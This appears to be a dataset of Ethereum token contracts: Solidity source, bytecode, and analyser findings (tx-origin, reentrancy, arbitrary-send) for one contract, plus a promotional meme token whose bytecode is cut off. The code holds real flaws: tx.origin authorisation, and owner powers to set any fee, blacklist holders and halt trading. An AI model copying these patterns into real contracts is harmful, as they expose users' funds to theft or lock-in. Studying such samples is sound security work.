b; assert(c >= a); return c; } } contract TokenContractImpl is TokenContract, Owned { using SafeMath for uint256; string public standard = "Token 0.1"; uint256 _totalSupply; uint8 _decimals; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; OwnerValidator public ownerValidator; OffChainManager public offChainManager; bool public isRedenominated; uint256 public redenomiValue; mapping (address => uint256) public redenominatedBalances; mapping (address => mapping (address => uint256)) public redenominatedAllowed; function TokenContractImpl( uint256 initialSupply, uint8 decimals, address _ownerValidator, address _offChainManager ){ balances[msg.sender] = initialSupply; _totalSupply = initialSupply; _decimals = decimals; ownerValidator = OwnerValidator(_ownerValidator); offChainManager = OffChainManager(_offChainManager); } function totalSupply() constant returns (uint256 totalSupply) { if (isRedenominated) { return redenominatedValue(_totalSupply); } return _totalSupply; } function decimals() constant returns (uint8 decimals) { return _decimals; } function balanceOf(address _owner) constant returns (uint256 balance) { if (isRedenominated) { if (redenominatedBalances[_owner] > 0) { return redenominatedBalances[_owner]; } return redenominatedValue(balances[_owner]); } return balances[_owner]; } function allowance(address _owner, address _spender) constant returns (uint remaining) { if (isRedenominated) { if (redenominatedAllowed[_owner][_spender] > 0) { return redenominatedAllowed[_owner][_spender]; } return redenominatedValue(allowed[_owner][_spender]); } return allowed[_owner][_spender]; } function redenominatedValue(uint256 _value) private returns (uint256) { return _value.mul(redenomiValue); } function ownerValidate(address addr) constant returns (bool) { return ownerValidator.validate(addr); } function redenominate(uint256 _redenomiValue) { if (isRedenominated) throw; if (ownerValidator.validate(msg.sender)) { redenomiValue = _redenomiValue; Redenominate(msg.sender, isRedenominated, redenomiValue); } } function applyRedenomination() onlyNotWorking { if (isRedenominated) throw; if (redenomiValue == 0) throw; if (ownerValidator.validate(msg.sender)) { isRedenominated = true; ApplyRedenomination(msg.sender, isRedenominated, redenomiValue); } } function setOwnerValidatorAddress(address _ownerValidator) onlyWorking { if (ownerValidator.validate(msg.sender)) { ownerValidator = OwnerValidator(_ownerValidator); } } function setOffChainManagerAddress(address _offChainManager) onlyWorking { if (ownerValidator.validate(msg.sender)) { offChainManager = OffChainManager(_offChainManager); } } function transfer(address _to, uint256 _value) onlyWorking returns (bool success) { return transferProcess(tx.origin, _to, _value); } function transferProcess(address _from, address _to, uint256 _value) private returns (bool success) { if (balanceOf(_from) < _value) throw; subtractBalance(_from, _value); if (offChainManager.isToOffChainAddress(_to)) { addBalance(offChainManager.getOffChainRootAddress(), _value); ToOffChainTransfer(_from, _to, _to, _value); } else { addBalance(_to, _value); } return true; } function addBalance(address _address, uint256 _value) private { if (isRedenominated) { if (redenominatedBalances[_address] == 0) { if (balances[_address] > 0) { redenominatedBalances[_address] = redenominatedValue(balances[_address]); balances[_address] = 0; } } redenominatedBalances[_address] = redenominatedBalances[_address].add(_value); } else { balances[_address] = balances[_address].add(_value); } } function subtractBalance(address _address, uint256 _value) private { if (isRedenominated) { if (redenominatedBalances[_address] == 0) { if (balances[_address] > 0) { redenominatedBalances[_address] = redenominatedValue(balances[_address]); balances[_address] = 0; } } redenominatedBalances[_address] = redenominatedBalances[_address].sub(_value); } else { balances[_address] = balances[_address].sub(_value); } } function transferFrom(address _from, address _to, uint256 _value) onlyWorking returns (bool success) { if (balanceOf(_from) < _value) throw; if (balanceOf(_to).add(_value) < balanceOf(_to)) throw; if (_value > allowance(_from, tx.origin)) throw; subtractBalance(_from, _value); if (offChainManager.isToOffChainAddress(_to)) { addBalance(offChainManager.getOffChainRootAddress(), _value); ToOffChainTransfer(tx.origin, _to, _to, _value); } else { addBalance(_to, _value); } subtractAllowed(_from, tx.origin, _value); return true; } function transferFromSender(address _to, uint256 _value) onlyWorking returns (bool success) { if (!transferProcess(msg.sender, _to, _value)) throw; TransferFromSender(msg.sender, _to, _value); return true; } function transferFromOwn(address _to, uint256 _value) onlyWorking returns (bool success) { if (!ownerValidator.validate(msg.sender)) throw; if (!transferProcess(this, _to, _value)) throw; TransferFromSender(this, _to, _value); return true; } function sendFromOwn(address _to, uint256 _value) returns (bool success) { if (!ownerValidator.validate(msg.sender)) throw; if (!_to.send(_value)) throw; return true; } function approve(address _spender, uint256 _value) onlyWorking returns (bool success) { setAllowed(tx.origin, _spender, _value); return true; } function subtractAllowed(address _from, address _spender, uint256 _value) private { if (isRedenominated) { if (redenominatedAllowed[_from][_spender] == 0) { if (allowed[_from][_spender] > 0) { redenominatedAllowed[_from][_spender] = redenominatedValue(allowed[_from][_spender]); allowed[_from][_spender] = 0; } } redenominatedAllowed[_from][_spender] = redenominatedAllowed[_from][_spender].sub(_value); } else { allowed[_from][_spender] = allowed[_from][_spender].sub(_value); } } function setAllowed(address _owner, address _spender, uint256 _value) private { if (isRedenominated) { redenominatedAllowed[_owner][_spender] = _value; } else { allowed[_owner][_spender] = _value; } } event TransferFromSender(address indexed _from, address indexed _to, uint256 _value); event ToOffChainTransfer(address indexed _from, address indexed _toKey, address _to, uint256 _value); event Redenominate(address _owner, bool _isRedenominated, uint256 _redenomiVakye); event ApplyRedenomination(address _owner, bool _isRedenominated, uint256 _redenomiVakye); } // File: contracts/MainContract.sol contract MainContract { string public standard = "Token 0.1"; string public name; string public symbol; OwnerValidator public ownerValidator; TokenContract public tokenContract; function MainContract( string _tokenName, address _ownerValidator, address _tokenContract, string _symbol ) { ownerValidator = OwnerValidator(_ownerValidator); tokenContract = TokenContract(_tokenContract); name = _tokenName; symbol = _symbol; } function totalSupply() constant returns(uint256 totalSupply) { return tokenContract.totalSupply(); } function decimals() constant returns(uint8 decimals) { return tokenContract.decimals(); } function setOwnerValidateAddress(address _ownerValidator) { if (ownerValidator.validate(msg.sender)) { ownerValidator = OwnerValidator(_ownerValidator); } } function setTokenContract(address _tokenContract) { if (ownerValidator.validate(msg.sender)) { tokenContract = TokenContract(_tokenContract); } } function transferFromSender(address _to, uint256 _value) returns (bool success) { if (!ownerValidator.validate(msg.sender)) throw; return tokenContract.transferFromSender(_to, _value); } function sendFromOwn(address _to, uint256 _value) returns (bool success) { if (!ownerValidator.validate(msg.sender)) throw; if (!_to.send(_value)) throw; return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return uint256(tokenContract.balanceOf(_owner)); } function transfer(address _to, uint256 _value) returns (bool success) { if (tokenContract.transfer(_to, _value)) { Transfer(msg.sender, _to, _value); return true; } else { throw; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (tokenContract.transferFrom(_from, _to, _value)) { Transfer(_from, _to, _value); return true; } else { throw; } } function approve(address _spender, uint256 _value) returns (bool success) { if (tokenContract.approve(_spender,_value)) { Approval(msg.sender,_spender,_value); return true; } else { throw; } } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return tokenContract.allowance(_owner,_spender); } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
0x606060405236156100ca5763ffffffff60e060020a60003504166306fdde0381146100cc578063095ea7b31461015c57806318160ddd1461018f57806323b872dd146101b1578063313ce567146101ea57806350e86e1e1461021057806355a373d61461022e5780635a3b7e421461025a57806370a08231146102ea5780637e6216671461031857806395d89b411461034b578063a9059cbb146103db578063bae804a71461040e578063bbcd5bbe14610441578063d2d5a55c1461045f578063dd62ed3e1461048b575bfe5b34156100d457fe5b6100dc6104bf565b604080516020808252835181830152835191928392908301918501908083838215610122575b80518252602083111561012257601f199092019160209182019101610102565b505050905090810190601f16801561014e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561016457fe5b61017b600160a060020a036004351660243561054c565b604080519115158252519081900360200190f35b341561019757fe5b61019f61063e565b60408051918252519081900360200190f35b34156101b957fe5b61017b600160a060020a03600435811690602435166044356106b6565b604080519115158252519081900360200190f35b34156101f257fe5b6101fa6107b1565b6040805160ff9092168252519081900360200190f35b341561021857fe5b61022c600160a060020a0360043516610829565b005b341561023657fe5b61023e6108c9565b60408051600160a060020a039092168252519081900360200190f35b341561026257fe5b6100dc6108d8565b604080516020808252835181830152835191928392908301918501908083838215610122575b80518252602083111561012257601f199092019160209182019101610102565b505050905090810190601f16801561014e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102f257fe5b61019f600160a060020a0360043516610966565b60408051918252519081900360200190f35b341561032057fe5b61017b600160a060020a03600435166024356109f3565b604080519115158252519081900360200190f35b341561035357fe5b6100dc610aa8565b604080516020808252835181830152835191928392908301918501908083838215610122575b80518252602083111561012257601f199092019160209182019101610102565b505050905090810190601f16801561014e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103e357fe5b61017b600160a060020a0360043516602435610b33565b604080519115158252519081900360200190f35b341561041657fe5b61017b600160a060020a0360043516602435610c25565b604080519115158252519081900360200190f35b341561044957fe5b61022c600160a060020a0360043516610d32565b005b341561046757fe5b61023e610dd2565b60408051600160a060020a039092168252519081900360200190f35b341561049357fe5b61019f600160a060020a0360043581169060243516610de1565b60408051918252519081900360200190f35b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105445780601f1061051957610100808354040283529160200191610544565b820191906000526020600020905b81548152906001019060200180831161052757829003601f168201915b505050505081565b60048054604080516000602091820181905282517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a038881169682019690965260248101879052925190949093169263095ea7b392604480820193929182900301818787803b15156105c357fe5b6102c65a03f115156105d157fe5b5050604051511590506106315782600160a060020a031633600160a060020a03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3506001610637565b60006000fd5b5b92915050565b6000600460009054906101000a9004600160a060020a0316600160a060020a03166318160ddd6000604051602001526040518163ffffffff1660e060020a028152600401809050602060405180830381600087803b151561069b57fe5b6102c65a03f115156106a957fe5b5050604051519150505b90565b60048054604080516000602091820181905282517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a038981169682019690965287861660248201526044810187905292519094909316926323b872dd92606480820193929182900301818787803b151561073557fe5b6102c65a03f1151561074357fe5b5050604051511590506106315782600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35060016107a9565b60006000fd5b5b9392505050565b6000600460009054906101000a9004600160a060020a0316600160a060020a031663313ce5676000604051602001526040518163ffffffff1660e060020a028152600401809050602060405180830381600087803b151561069b57fe5b6102c65a03f115156106a957fe5b5050604051519150505b90565b6003546040805160006020918201819052825160e060020a63207c64fb028152600160a060020a0333811660048301529351939094169363207c64fb936024808301949391928390030190829087803b151561088157fe5b6102c65a03f1151561088f57fe5b5050604051511590506108c5576003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600454600160a060020a031681565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105445780601f1061051957610100808354040283529160200191610544565b820191906000526020600020905b81548152906001019060200180831161052757829003601f168201915b505050505081565b60048054604080516000602091820181905282517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a038781169682019690965292519094909316926370a0823192602480820193929182900301818787803b15156109d657fe5b6102c65a03f115156109e457fe5b5050604051519150505b919050565b6003546040805160006020918201819052825160e060020a63207c64fb028152600160a060020a03338116600483015293519194939093169263207c64fb92602480830193919282900301818787803b1515610a4b57fe5b6102c65a03f11515610a5957fe5b50506040515115159050610a6d5760006000fd5b604051600160a060020a0384169083156108fc029084906000818181858888f193505050501515610a9e5760006000fd5b5060015b92915050565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156105445780601f1061051957610100808354040283529160200191610544565b820191906000526020600020905b81548152906001019060200180831161052757829003601f168201915b505050505081565b60048054604080516000602091820181905282517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038881169682019690965260248101879052925190949093169263a9059cbb92604480820193929182900301818787803b1515610baa57fe5b6102c65a03f11515610bb857fe5b5050604051511590506106315782600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3506001610637565b60006000fd5b5b92915050565b6003546040805160006020918201819052825160e060020a63207c64fb028152600160a060020a03338116600483015293519194939093169263207c64fb92602480830193919282900301818787803b1515610c7d57fe5b6102c65a03f11515610c8b57fe5b50506040515115159050610c9f5760006000fd5b60048054604080516000602091820181905282517fbae804a7000000000000000000000000000000000000000000000000000000008152600160a060020a0389811696820196909652602481018890529251949093169363bae804a7936044808501948390030190829087803b1515610d1457fe5b6102c65a03f11515610d2257fe5b5050604051519150505b92915050565b6003546040805160006020918201819052825160e060020a63207c64fb028152600160a060020a0333811660048301529351939094169363207c64fb936024808301949391928390030190829087803b1515610d8a57fe5b6102c65a03f11515610d9857fe5b5050604051511590506108c5576004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600354600160a060020a031681565b60048054604080516000602091820181905282517fdd62ed3e000000000000000000000000000000000000000000000000000000008152600160a060020a03888116968201969096528686166024820152925190949093169263dd62ed3e92604480820193929182900301818787803b1515610d1457fe5b6102c65a03f11515610d2257fe5b5050604051519150505b929150505600a165627a7a723058200a0aa351212af1184d6c60a67c5886d37fe8a4779a01eb4a7df52cf453c975740029
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
7,629
0x759eb0c2efd9291fbb991d5a44e349cb25225f56
/** *Submitted for verification at Etherscan.io on 2022-05-04 */ // FED - FederalReserveCrypto // Twitter: https://twitter.com/FED_CryptoBank (@FED_CryptoBank) // TG: https://t.me/FederalReserveBankPortal //WELCOME TO FED! //FederalReserveCryptoBank // //Fuck the system //Fuck the fiat //Fuck Recession //And finally… Fuck the Jeets! // //We #Hodl for a Cause! //This is your right place,in a right moment! //Fill your bags for the pump! // //That’s your piggybank! //Pump it and let’s pump yours! // //More ATH with BuyBack - Marketing Wallet //Fat tax early/later = 10/15 // //Welcome to #FED //Everyone #Hodl ! Everyone #Wins ! /// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FederalReserveCrypto is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "FederalReserveCrypto"; string private constant _symbol = "FED"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 15; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xDab0802B5Cb9fc2dbFd748BB5fc83b1FbA2Ada7b); address payable private _marketingAddress = payable(0xDab0802B5Cb9fc2dbFd748BB5fc83b1FbA2Ada7b); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5000000 * 10**9; uint256 public _maxWalletSize = 15100000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055e578063dd62ed3e1461057e578063ea1644d5146105c4578063f2fde38b146105e457600080fd5b8063a2a957bb146104d9578063a9059cbb146104f9578063bfd7928414610519578063c3c8cd801461054957600080fd5b80638f70ccf7116100d15780638f70ccf7146104575780638f9a55c01461047757806395d89b411461048d57806398a5c315146104b957600080fd5b80637d1db4a5146103f65780637f2feddc1461040c5780638da5cb5b1461043957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038c57806370a08231146103a1578063715018a6146103c157806374010ece146103d657600080fd5b8063313ce5671461031057806349bd5a5e1461032c5780636b9990531461034c5780636d8aa8f81461036c57600080fd5b80631694505e116101ab5780631694505e1461027d57806318160ddd146102b557806323b872dd146102da5780632fd689e3146102fa57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024d57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611968565b610604565b005b34801561020a57600080fd5b506040805180820190915260148152734665646572616c5265736572766543727970746f60601b60208201525b6040516102449190611a2d565b60405180910390f35b34801561025957600080fd5b5061026d610268366004611a82565b6106a3565b6040519015158152602001610244565b34801561028957600080fd5b5060145461029d906001600160a01b031681565b6040516001600160a01b039091168152602001610244565b3480156102c157600080fd5b50670de0b6b3a76400005b604051908152602001610244565b3480156102e657600080fd5b5061026d6102f5366004611aae565b6106ba565b34801561030657600080fd5b506102cc60185481565b34801561031c57600080fd5b5060405160098152602001610244565b34801561033857600080fd5b5060155461029d906001600160a01b031681565b34801561035857600080fd5b506101fc610367366004611aef565b610723565b34801561037857600080fd5b506101fc610387366004611b1c565b61076e565b34801561039857600080fd5b506101fc6107b6565b3480156103ad57600080fd5b506102cc6103bc366004611aef565b610801565b3480156103cd57600080fd5b506101fc610823565b3480156103e257600080fd5b506101fc6103f1366004611b37565b610897565b34801561040257600080fd5b506102cc60165481565b34801561041857600080fd5b506102cc610427366004611aef565b60116020526000908152604090205481565b34801561044557600080fd5b506000546001600160a01b031661029d565b34801561046357600080fd5b506101fc610472366004611b1c565b6108c6565b34801561048357600080fd5b506102cc60175481565b34801561049957600080fd5b5060408051808201909152600381526211915160ea1b6020820152610237565b3480156104c557600080fd5b506101fc6104d4366004611b37565b61090e565b3480156104e557600080fd5b506101fc6104f4366004611b50565b61093d565b34801561050557600080fd5b5061026d610514366004611a82565b61097b565b34801561052557600080fd5b5061026d610534366004611aef565b60106020526000908152604090205460ff1681565b34801561055557600080fd5b506101fc610988565b34801561056a57600080fd5b506101fc610579366004611b82565b6109dc565b34801561058a57600080fd5b506102cc610599366004611c06565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d057600080fd5b506101fc6105df366004611b37565b610a7d565b3480156105f057600080fd5b506101fc6105ff366004611aef565b610aac565b6000546001600160a01b031633146106375760405162461bcd60e51b815260040161062e90611c3f565b60405180910390fd5b60005b815181101561069f5760016010600084848151811061065b5761065b611c74565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069781611ca0565b91505061063a565b5050565b60006106b0338484610b96565b5060015b92915050565b60006106c7848484610cba565b610719843361071485604051806060016040528060288152602001611dba602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f6565b610b96565b5060019392505050565b6000546001600160a01b0316331461074d5760405162461bcd60e51b815260040161062e90611c3f565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107985760405162461bcd60e51b815260040161062e90611c3f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107eb57506013546001600160a01b0316336001600160a01b0316145b6107f457600080fd5b476107fe81611230565b50565b6001600160a01b0381166000908152600260205260408120546106b49061126a565b6000546001600160a01b0316331461084d5760405162461bcd60e51b815260040161062e90611c3f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c15760405162461bcd